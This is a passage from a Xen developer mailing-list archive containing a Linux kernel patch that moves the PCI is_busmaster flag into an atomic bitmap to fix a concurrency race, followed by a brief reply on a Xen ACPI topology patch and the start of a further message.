	dhT/qSdJlimtS/fXtocrDdL09IimEYDwOekOe3FvJJK1myIDVjnxZdvuRjjUxsvIvIyxJJ
	P8S/jQiP71t1McDfgTRE3se2r0kto8idFFK76R/sgB9YyTGKUJq+ysv3kIh8X2t09RPXNo
	KNuPlIIeCtzq9b/aDO7kUD7hQQS1GsnovVnxmqmoqlYox8JcQt1DOQQ/riX+587IXyoZ9J
	5sKnA69mo9SOQBejaH769bs0/2hXu5owEqaYTBr+DLStH5nj8fThuPJiEJIAwg==
From: Maurice Hieronymus <mhi@mailbox.org>
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1784057839;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding;
	bh=1ofGv+oKh8MyF1GowqA3GVjMzH+NCBy1xlrefUGXfXA=;
	b=Rydzk/W0Z4j2MguB5wokh/xcqWxhRbvqP43zwVBnsTqYdoI4IQ/Ip5O40KK40ahZ9B5AG6
	VnQ+Pp2On89Y7tcKWSMns1mM1vp3gMYdKaxs75NfmSba7sBtLoryZJ9tnjB8XBC2aCeUxN
	oxA96PKMpHCdTBi5HFfxu0jts/RMIcb9l6oRdtEfJNr0+ScV9YEuJV7siqyIjyWpFRtmam
	Ltzo28IlG87hsEJLdUKLDqKk22uCwOGm0e1ZQOEdME5jpEYiNwyQSYcwTc6j8uh+KhInH1
	VZL+/3uE/Mw4bPdXTt7T0tkjAYK2yPwvmHgxDXmd9LbMyMSk94YGudnC0BBcag==
Date: Tue, 14 Jul 2026 21:37:07 +0200
Subject: [PATCH v2] PCI: Move pci_dev->is_busmaster into priv_flags
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260714-pci-dev-flags-v2-1-a1d7dc441cf3@mailbox.org>
X-B4-Tracking: v=1; b=H4sIAAAAAAAC/3WNQQ6CMBBFr0JmbU2nGEVX3sOwoGUGxiAlLTYYw
 t0FXLt8yfvvzxApCEW4ZTMEShLF9yuYQwaurfqGlNQrg9HmrC+IanCiakqKu6qJiq11fGK+6hx
 h3QyBWKa99yh/HN/2SW7cIpvRShx9+OyHCTfvXzuh0sqwY1MgYl64+6uSzvrp6EMD5bIsXw96r
 fO+AAAA
X-Change-ID: 20260711-pci-dev-flags-fbbcf4ff9031
To: Edward Cree <ecree.xilinx@gmail.com>, 
 Andrew Lunn <andrew+netdev@lunn.ch>, 
 "David S. Miller" <davem@davemloft.net>, Eric Dumazet <edumazet@google.com>, 
 Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>, 
 Bjorn Helgaas <bhelgaas@google.com>, Justin Tee <justin.tee@broadcom.com>, 
 Paul Ely <paul.ely@broadcom.com>, 
 "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>, 
 "Martin K. Petersen" <martin.petersen@oracle.com>, 
 Juergen Gross <jgross@suse.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>, 
 Miguel Ojeda <ojeda@kernel.org>, Boqun Feng <boqun@kernel.org>, 
 Gary Guo <gary@garyguo.net>, 
 =?utf-8?q?Bj=C3=B6rn_Roy_Baron?= <bjorn3_gh@protonmail.com>, 
 Benno Lossin <lossin@kernel.org>, Andreas Hindborg <a.hindborg@kernel.org>, 
 Alice Ryhl <aliceryhl@google.com>, Trevor Gross <tmgross@umich.edu>, 
 Daniel Almeida <daniel.almeida@collabora.com>, 
 Tamir Duberstein <tamird@kernel.org>, 
 Alexandre Courbot <acourbot@nvidia.com>, 
 =?utf-8?q?Onur_=C3=96zkan?= <work@onurozkan.dev>, 
 Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>
Cc: Danilo Krummrich <dakr@kernel.org>, rust-for-linux@vger.kernel.org, 
 netdev@vger.kernel.org, linux-net-drivers@amd.com, 
 linux-kernel@vger.kernel.org, linux-pci@vger.kernel.org, 
 linux-scsi@vger.kernel.org, xen-devel@lists.xenproject.org, 
 linux-edac@vger.kernel.org, Lukas Wunner <lukas@wunner.de>, 
 Maurice Hieronymus <mhi@mailbox.org>
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784057829; l=10454;
 i=mhi@mailbox.org; s=20260525; h=from:subject:message-id;
 bh=xBOoNzC2az2lrduUXWCw8GbXb6mhhjAQddgJX/fDBOw=;
 b=4+prDaflj4wBbkWdcxfavA+uc+hzT/kyE5OcCNRPkK14v+dxy7EJjAGfiN7o8em2XEEKFXpfw
 tO93TG255CCC5aYokkkMhcUDOQcJUGHv+ot3z2MNFGJx4ql5IABb7od
X-Developer-Key: i=mhi@mailbox.org; a=ed25519;
 pk=AHlEkGG3hpXZHntlEzF42Ip/LFyXWOgsNUvaHqAnV80=
X-MBO-RS-ID: f796c9162f0b3641499
X-MBO-RS-META: rbw1s4zsxsh9gxnsw3z5ahik7gopwsow
X-purgate-ID: tlsNG-720697/1784057843-F10A02AC-581AA5E8/0/0
X-purgate-type: clean
X-purgate-size: 10456

`is_busmaster` is one bit of a ~60-bit C bitfield in `struct pci_dev`.
Bits sharing a bitfield word must not be modified concurrently, but its
writers take no common lock: `pci_set_master()` can run without the
device lock (e.g. from runtime PM resume paths), `pci_disable_device()`
clears the bit, and other bits in the same word are written from
entirely different contexts, e.g. `broken_parity_status` from sysfs.
Concurrent read-modify-write cycles of the shared word can then lose
updates.

Move `is_busmaster` into the existing `priv_flags` bitmap, which is
modified with atomic bitops. The bit definition stays private to
drivers/pci; xen-pciback, lpfc and sfc access the flag through the new
exported accessors `pci_dev_is_busmaster()` and
`pci_dev_assign_busmaster()`.

This also unblocks the Rust device enabling API rework [1], where a
guard object calls `pci_disable_device()` from contexts that may run
concurrently with `pci_set_master()`.

Link: https://lore.kernel.org/rust-for-linux/DJOEYVBS17MJ.1YD3TNGQBWHNK@kernel.org/ [1]
Suggested-by: Danilo Krummrich <dakr@kernel.org>
Suggested-by: Lukas Wunner <lukas@wunner.de>
Cc: rust-for-linux@vger.kernel.org
Signed-off-by: Maurice Hieronymus <mhi@mailbox.org>
---
`struct pci_dev` keeps ~60 flags in one C bitfield. Bits sharing a
word must not be modified concurrently, but several writers take no
common lock: `pci_set_master()` writes `is_busmaster` and can run
without the device lock (e.g. runtime PM resume paths),
`pci_disable_device()` clears it, and `broken_parity_status_store()`
writes the same word from sysfs at any time without any lock.

Move `is_busmaster` into the existing `priv_flags` bitmap, which is
modified with atomic bitops. The bit definition stays private to
drivers/pci; the drivers that use the flag (xen-pciback, lpfc, sfc)
access it through new exported accessor functions.

This is a prerequisite for the Rust device enabling API rework [1]:
the guard object planned there calls `pci_disable_device()` from
contexts that may run concurrently with `pci_set_master()`.
---
Changes in v2:
- Move the bit into the existing priv_flags bitmap instead of adding a
  new public flags bitmap (Lukas). The bit definition stays private to
  drivers/pci; outside users go through new exported accessors.
- Drop the broken_parity_status conversion (Lukas).
- Link to v1: https://lore.kernel.org/r/20260711-pci-dev-flags-v1-0-2fcf2811138c@mailbox.org
---
 drivers/net/ethernet/sfc/falcon/farch.c     |  2 +-
 drivers/net/ethernet/sfc/siena/farch.c      |  2 +-
 drivers/pci/pci-driver.c                    |  2 +-
 drivers/pci/pci.c                           | 33 ++++++++++++++++++++++++++---
 drivers/pci/pci.h                           |  1 +
 drivers/scsi/lpfc/lpfc_init.c               |  4 ++--
 drivers/xen/xen-pciback/conf_space_header.c |  4 ++--
 drivers/xen/xen-pciback/pciback_ops.c       |  4 ++--
 include/linux/pci.h                         |  3 ++-
 9 files changed, 42 insertions(+), 13 deletions(-)

diff --git a/drivers/net/ethernet/sfc/falcon/farch.c b/drivers/net/ethernet/sfc/falcon/farch.c
index 23d507a3820d..c73db6081190 100644
--- a/drivers/net/ethernet/sfc/falcon/farch.c
+++ b/drivers/net/ethernet/sfc/falcon/farch.c
@@ -724,7 +724,7 @@ int ef4_farch_fini_dmaq(struct ef4_nic *efx)
 	/* Do not attempt to write to the NIC during EEH recovery */
 	if (efx->state != STATE_RECOVERY) {
 		/* Only perform flush if DMA is enabled */
-		if (efx->pci_dev->is_busmaster) {
+		if (pci_dev_is_busmaster(efx->pci_dev)) {
 			efx->type->prepare_flush(efx);
 			rc = ef4_farch_do_flush(efx);
 			efx->type->finish_flush(efx);
diff --git a/drivers/net/ethernet/sfc/siena/farch.c b/drivers/net/ethernet/sfc/siena/farch.c
index 7613d7988894..815487b1b227 100644
--- a/drivers/net/ethernet/sfc/siena/farch.c
+++ b/drivers/net/ethernet/sfc/siena/farch.c
@@ -723,7 +723,7 @@ int efx_farch_fini_dmaq(struct efx_nic *efx)
 	/* Do not attempt to write to the NIC during EEH recovery */
 	if (efx->state != STATE_RECOVERY) {
 		/* Only perform flush if DMA is enabled */
-		if (efx->pci_dev->is_busmaster) {
+		if (pci_dev_is_busmaster(efx->pci_dev)) {
 			efx->type->prepare_flush(efx);
 			rc = efx_farch_do_flush(efx);
 			efx->type->finish_flush(efx);
diff --git a/drivers/pci/pci-driver.c b/drivers/pci/pci-driver.c
index f36778e62ac1..f3b2255258df 100644
--- a/drivers/pci/pci-driver.c
+++ b/drivers/pci/pci-driver.c
@@ -649,7 +649,7 @@ static int pci_pm_reenable_device(struct pci_dev *pci_dev)
 	 * if the device was busmaster before the suspend, make it busmaster
 	 * again
 	 */
-	if (pci_dev->is_busmaster)
+	if (pci_dev_is_busmaster(pci_dev))
 		pci_set_master(pci_dev);
 
 	return retval;
diff --git a/drivers/pci/pci.c b/drivers/pci/pci.c
index 77b17b13ee61..80c962811737 100644
--- a/drivers/pci/pci.c
+++ b/drivers/pci/pci.c
@@ -2045,7 +2045,7 @@ static void pci_enable_bridge(struct pci_dev *dev)
 		pci_enable_bridge(bridge);
 
 	if (pci_is_enabled(dev)) {
-		if (!dev->is_busmaster)
+		if (!pci_dev_is_busmaster(dev))
 			pci_set_master(dev);
 		return;
 	}
@@ -2205,7 +2205,7 @@ void pci_disable_device(struct pci_dev *dev)
 
 	do_pci_disable_device(dev);
 
-	dev->is_busmaster = 0;
+	pci_dev_assign_busmaster(dev, false);
 }
 EXPORT_SYMBOL(pci_disable_device);
 
@@ -4106,6 +4106,33 @@ void pci_unmap_iospace(struct resource *res)
 }
 EXPORT_SYMBOL(pci_unmap_iospace);
 
+/**
+ * pci_dev_is_busmaster - Query the bus mastering bookkeeping flag
+ * @pdev: the PCI device to query
+ *
+ * Returns: the current value of the bookkeeping flag; the PCI_COMMAND
+ * register is not consulted.
+ */
+bool pci_dev_is_busmaster(const struct pci_dev *pdev)
+{
+	return test_bit(PCI_DEV_BUSMASTER, &pdev->priv_flags);
+}
+EXPORT_SYMBOL(pci_dev_is_busmaster);
+
+/**
+ * pci_dev_assign_busmaster - Set the bus mastering bookkeeping flag
+ * @pdev: the PCI device
+ * @busmaster: new flag value
+ *
+ * Only updates the bookkeeping flag; the PCI_COMMAND register is left
+ * untouched.
+ */
+void pci_dev_assign_busmaster(struct pci_dev *pdev, bool busmaster)
+{
+	assign_bit(PCI_DEV_BUSMASTER, &pdev->priv_flags, busmaster);
+}
+EXPORT_SYMBOL(pci_dev_assign_busmaster);
+
 static void __pci_set_master(struct pci_dev *dev, bool enable)
 {
 	u16 old_cmd, cmd;
@@ -4120,7 +4147,7 @@ static void __pci_set_master(struct pci_dev *dev, bool enable)
 			enable ? "enabling" : "disabling");
 		pci_write_config_word(dev, PCI_COMMAND, cmd);
 	}
-	dev->is_busmaster = enable;
+	pci_dev_assign_busmaster(dev, enable);
 }
 
 /**
diff --git a/drivers/pci/pci.h b/drivers/pci/pci.h
index 4469e1a77f3c..faa4a676e62c 100644
--- a/drivers/pci/pci.h
+++ b/drivers/pci/pci.h
@@ -773,6 +773,7 @@ static inline int pci_dev_set_disconnected(struct pci_dev *dev, void *unused)
 #define PCI_LINK_CHANGING 5
 #define PCI_LINK_LBMS_SEEN	6
 #define PCI_DEV_ALLOW_BINDING 7
+#define PCI_DEV_BUSMASTER 8
 
 static inline void pci_dev_assign_added(struct pci_dev *dev)
 {
diff --git a/drivers/scsi/lpfc/lpfc_init.c b/drivers/scsi/lpfc/lpfc_init.c
index 82af59c913e9..657453e6d7d2 100644
--- a/drivers/scsi/lpfc/lpfc_init.c
+++ b/drivers/scsi/lpfc/lpfc_init.c
@@ -14398,7 +14398,7 @@ lpfc_io_slot_reset_s3(struct pci_dev *pdev)
 
 	pci_restore_state(pdev);
 
-	if (pdev->is_busmaster)
+	if (pci_dev_is_busmaster(pdev))
 		pci_set_master(pdev);
 
 	spin_lock_irq(&phba->hbalock);
@@ -15251,7 +15251,7 @@ lpfc_io_slot_reset_s4(struct pci_dev *pdev)
 	 */
 	pci_save_state(pdev);
 
-	if (pdev->is_busmaster)
+	if (pci_dev_is_busmaster(pdev))
 		pci_set_master(pdev);
 
 	spin_lock_irq(&phba->hbalock);
diff --git a/drivers/xen/xen-pciback/conf_space_header.c b/drivers/xen/xen-pciback/conf_space_header.c
index 8b50cbcbdfe1..ecc9adba369c 100644
--- a/drivers/xen/xen-pciback/conf_space_header.c
+++ b/drivers/xen/xen-pciback/conf_space_header.c
@@ -81,10 +81,10 @@ static int command_write(struct pci_dev *dev, int offset, u16 value, void *data)
 			dev_data->enable_intx = 0;
 	}
 
-	if (!dev->is_busmaster && is_master_cmd(value)) {
+	if (!pci_dev_is_busmaster(dev) && is_master_cmd(value)) {
 		dev_dbg(&dev->dev, "set bus master\n");
 		pci_set_master(dev);
-	} else if (dev->is_busmaster && !is_master_cmd(value)) {
+	} else if (pci_dev_is_busmaster(dev) && !is_master_cmd(value)) {
 		dev_dbg(&dev->dev, "clear bus master\n");
 		pci_clear_master(dev);
 	}
diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c
index bfc186bf05bc..01f4705421c9 100644
--- a/drivers/xen/xen-pciback/pciback_ops.c
+++ b/drivers/xen/xen-pciback/pciback_ops.c
@@ -125,14 +125,14 @@ void xen_pcibk_reset_device(struct pci_dev *dev)
 		if (pci_is_enabled(dev))
 			pci_disable_device(dev);
 
-		dev->is_busmaster = 0;
+		pci_dev_assign_busmaster(dev, false);
 	} else {
 		pci_read_config_word(dev, PCI_COMMAND, &cmd);
 		if (cmd & (PCI_COMMAND_INVALIDATE)) {
 			cmd &= ~(PCI_COMMAND_INVALIDATE);
 			pci_write_config_word(dev, PCI_COMMAND, cmd);
 
-			dev->is_busmaster = 0;
+			pci_dev_assign_busmaster(dev, false);
 		}
 	}
 }
diff --git a/include/linux/pci.h b/include/linux/pci.h
index 64b308b6e61c..0542221ad996 100644
--- a/include/linux/pci.h
+++ b/include/linux/pci.h
@@ -461,7 +461,6 @@ struct pci_dev {
 	unsigned int	pref_64_window:1;	/* Pref mem window is 64-bit */
 	unsigned int	multifunction:1;	/* Multi-function device */
 
-	unsigned int	is_busmaster:1;		/* Is busmaster */
 	unsigned int	no_msi:1;		/* May not use MSI */
 	unsigned int	block_cfg_access:1;	/* Config space access blocked */
 	unsigned int	broken_parity_status:1;	/* Generates false positive parity */
@@ -1446,6 +1445,8 @@ void pci_disable_device(struct pci_dev *dev);
 extern unsigned int pcibios_max_latency;
 void pci_set_master(struct pci_dev *dev);
 void pci_clear_master(struct pci_dev *dev);
+bool pci_dev_is_busmaster(const struct pci_dev *pdev);
+void pci_dev_assign_busmaster(struct pci_dev *pdev, bool busmaster);
 
 int pci_set_pcie_reset_state(struct pci_dev *dev, enum pcie_reset_state state);
 int pci_set_cacheline_size(struct pci_dev *dev);

---
base-commit: a13c140cc289c0b7b3770bce5b3ad42ab35074aa
change-id: 20260711-pci-dev-flags-fbbcf4ff9031

Best regards,
-- 
Maurice Hieronymus <mhi@mailbox.org>



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 21:26:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 21:26:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362571.1614379 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjkdZ-0003P1-IP; Tue, 14 Jul 2026 21:25:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362571.1614379; Tue, 14 Jul 2026 21:25:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjkdZ-0003Ou-FX; Tue, 14 Jul 2026 21:25:57 +0000
Received: by outflank-mailman (input) for mailman id 1362571;
 Tue, 14 Jul 2026 21:25:56 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wjkdX-0003Ok-1f
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 21:25:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjkdW-0028J1-7h
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 23:25:54 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a56a8ef-bab6-0a2a0a5309dd-0a2a45058186-46
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:25:52 +0200
Received: from [52.101.125.78]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a56a95d-4cb1-0a2a45050019-34657d4e3057-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:25:52 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY4P286MB6353.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:335::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.20; Tue, 14 Jul
 2026 21:25:46 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0202.014; Tue, 14 Jul 2026
 21:25:46 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ZzU9oSXCPAJ6sMxNuy5pf/Mt9jnWaPir9NqHrdKzy4OI2ZqfriiyO1qoOoMzOrJaIfDx7EGvSj3cJPezGR6fNUerL8cpZg2a/LKqaa8uf1AtARRtFh3i+XWWpTje7zrLRNmItUDBTKnbRIEqn2DolhhkWhK4NmQHmN3gVJkpwQHhAxT9rOrGCqBl0IDyhcnJ0vfithtGwVwknx4BjKy+MuZXAdQ1BY4VoqJx42Pdo78JxOx5qHC27mUDT5WLJwNIb5ISencJz/jDncs51XbfSuUs7ZO0Hp+bzDtY6/QkJudNmciDS48O3kJKm1bir0cdNvxyoYfGvIXXb3GRLAAMuA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=L0/u/pfinWTBoJJN7oUTBocdgcK7gmqRKa077vo9mjg=;
 b=b+DVtRrzQoTeDPAyZ2xA1ckcwfj7+aGhF+pvsGcfelB8gckW+/vvwxau7NUoEj+GGcPzXhDL/bjZc9NGPh+8qiLH+xSvDT/9qcR5W3NmM0mjElbIgSzW4uFCjQHBAYcj3DLlwENdxerG8EaEvTDIaUf0p1wONriGY+UL2ZVkq1y/KHf8djRwWXeeI7JbjapEbKKVlGKKM9PJgIovju63mBcQp6ro6Gx37QuKxM2T32F6oHGG91NOesCRRpd15UCmm4AJ69whuztECPA1BbLUPjPKhAgS7yciYuPHrTAeWZAYbc9yMi61stBsdHOYa3hEWvyeDmdtDQqxSUaArbr3qQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=L0/u/pfinWTBoJJN7oUTBocdgcK7gmqRKa077vo9mjg=;
 b=o9JD7HLtz88NwRdrG+fzlj1YEgkZsfIiON2xBC6CYbpAOamRUl4iKS3OFG3ULtgtmokC4ppQ7X2yr6GdrpfOWIi32bHl/iX9fjW/ZO/zga4un0YRBSwCBfEtTqSKgjwDe3zFcGPtxyXFKBOqRjmp2c5mNB1VYnmq8JLXSgTne4o=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>, Jan
 Beulich <jbeulich@suse.com>, =?iso-8859-1?Q?Roger_Pau_Monn=E9?=
	<roger.pau@citrix.com>
Subject: RE: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Topic: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Index: AQHdE336EabuJxSEHUSo4bExE1f467ZthrLg
Date: Tue, 14 Jul 2026 21:25:46 +0000
Message-ID:
 <OS9P286MB7222D458C3248E908695F2DB82F92@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-6-taka@valinux.co.jp>
In-Reply-To: <20260714104445.919830-6-taka@valinux.co.jp>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TY4P286MB6353:EE_
x-ms-office365-filtering-correlation-id: 1db3f518-7b83-4c64-de72-08dee1ee781f
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|7416014|376014|23010399003|1800799024|366016|4143699003|56012099006|18002099003|22082099003|38070700021;
x-microsoft-antispam-message-info:
 Cpzr5KlN/71FEoOoe7ymj2QyAw0YXVXa2tCSV5ayW8hfOYX8DT2euW3suwjLAoVgXdu0TbH7oJnYiSXgaIeLn+ZOpqvV6viV4+4rcrTPHHMvCpiOl06N180rYSWcXro+WyCUzPZvCeYi5MGjdqLM6ibP1T564z1I0i/c9/VkPwcQqkacTZD1ckbyBt5QTZ8ZQ+G3SMTEY7XdklBxHtLRvaD2v+HlpMf0Qf5Dn5A00FyTM6IcRNNMm0j3JAPJ5eZn58nCHr331nug2n4aqcuGAX6AU+YiB3Rm3XPQxKeEn8tIprIMIbqJjFxsU8GqYJmugj0KSHOOEiaXCLVxy/8T4wIP0eSzx43Bc6WbmbKR3aeytvY9T2445oqhGYaXSdqjMqqhbRUeqH38KVjeMvHefIKAqb0R72pXdbHsHo9XFtDhv9AKs7LZjVQY339hvCIehCa6//krib6SorrzzyD1aRc59vSwRPSlngdjivQi3vocU43q8pVmpZ2GGxlvQr5VPwMfP2P7iQIsYVTO7OT0gDWRm+2L0roW4y59YyeT0MwLGLX8BFQfwDQD64EdJaihxnP2cWh0oPdlmMBxXqk1goBwbVnr71O6ZLH9VcqFQdzSMa0GGnw7+GRLlqcyklQ1wya1h72w0nzBAp1CG2Aib8dK81gvuEemGQr0JpqhEXvohThmktdc84YHEvdnCpH3wfGxFvWRfcjPvWVU2J1bBQ==
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(23010399003)(1800799024)(366016)(4143699003)(56012099006)(18002099003)(22082099003)(38070700021);DIR:OUT;SFP:1102;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j8OycHaNqDEQUkbWyI8miRRQ5so?=
 =?iso-8859-1?Q?VPT8Jc81LRqjWKhg9WGv85ecSg9+J9Iw4Ba/mSshJTvpwBF5Pwj5bX0+Xk?=
 =?iso-8859-1?Q?rlIyFZsKUlwwWaQUwk5qZFN0cVyVkbNGoev3xiASbfQw52?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 1db3f518-7b83-4c64-de72-08dee1ee781f
X-MS-Exchange-CrossTenant-originalarrivaltime: 14 Jul 2026 21:25:46.6563
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: LMam7ejRwDtFADRjupZLsAGKHIv/svhjW1x6VQ2SSdmDhkteIbkk4oEmPLobrzgndZuebzh+2deF29hlmaNSyA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY4P286MB6353
X-purgate-ID: tlsNG-c201ff/1784064352-F46A52A1-3C500CC2/0/0
X-purgate-type: clean
X-purgate-size: 826

Hello,

> diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
> index 56fcfa4945..e6dea527a6 100644
> --- a/xen/drivers/acpi/topology.c
> +++ b/xen/drivers/acpi/topology.c


>  int __init acpi_init_cpu_topology(void)
>  {
> +    acpi_status status;
> +    struct acpi_table_header *table_header;
> +    const struct acpi_table_pptt *pptt;
> +    unsigned int num_sockets =3D 0;
> +    unsigned int num_clusters =3D 0;
> +    unsigned int num_cores =3D 0;
> +    unsigned int *socket_map =3D xmalloc_array(unsigned int, nr_cpu_ids)=
;
> +    unsigned int *cluster_map =3D xmalloc_array(unsigned int, nr_cpu_ids=
);
> +    unsigned int *core_map =3D xmalloc_array(unsigned int, nr_cpu_ids);

These have to be xzmalloc_array().
I will fix it in v7.

Thank you,
Hirokazu Takahashi.



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 21:30:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 21:30:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362580.1614388 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjki6-0004ws-3g; Tue, 14 Jul 2026 21:30:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362580.1614388; Tue, 14 Jul 2026 21:30:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjki6-0004wl-0J; Tue, 14 Jul 2026 21:30:38 +0000
Received: by outflank-mailman (input) for mailman id 1362580;
 Tue, 14 Jul 2026 21:30:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wjki4-0004wM-6M
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 21:30:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjki3-0028r4-Ar
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 23:30:35 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
